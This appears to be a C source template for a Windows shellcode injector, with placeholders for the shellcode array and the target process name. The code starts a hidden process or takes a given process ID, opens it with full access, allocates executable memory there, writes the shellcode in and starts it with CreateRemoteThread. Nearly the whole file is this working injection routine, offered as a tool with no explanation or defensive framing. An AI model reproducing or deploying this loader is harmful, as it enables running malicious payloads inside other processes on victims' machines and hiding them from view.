56 lines
1.1 KiB
C
56 lines
1.1 KiB
C
#define WINVER 0x0501
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#include<windows.h>
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#REPLACEME#
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void pump(DWORD);
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int main(int argc, char *argv[])
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{
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int x = atoi(argv[1]);
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STARTUPINFO si = { sizeof(STARTUPINFO) };
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si.cb = sizeof(si);
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si.dwFlags = STARTF_USESHOWWINDOW;
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si.wShowWindow = SW_HIDE;
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PROCESS_INFORMATION pi= {0};
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if (x > 0)
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{
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pump(x);
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} else {
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BOOL bSuccess = FALSE;
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DWORD dwPid = 0;
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bSuccess = CreateProcess(NULL, "#REPLACEMEPROCESS#", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
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if (bSuccess)
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{
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dwPid = GetProcessId(pi.hProcess);
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pump(dwPid);
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}
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}
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return 0;
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}
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void pump(DWORD dwProcessID) {
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HANDLE hProc;
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HANDLE hRemoteThread;
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PVOID pRemoteBuffer;
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if(!dwProcessID) {
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exit(0);
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}
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hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID);
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if(!hProc) {
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exit(0);
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}
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pRemoteBuffer = VirtualAllocEx(hProc, NULL, sizeof(sc)*2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
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if (!pRemoteBuffer) {
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exit(0);
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}
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if (!WriteProcessMemory(hProc, pRemoteBuffer, sc, sizeof(sc), NULL)) {
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exit(0);
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}
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CreateRemoteThread(hProc, NULL, 0, pRemoteBuffer, NULL, 0, NULL);
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CloseHandle(hProc);
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} |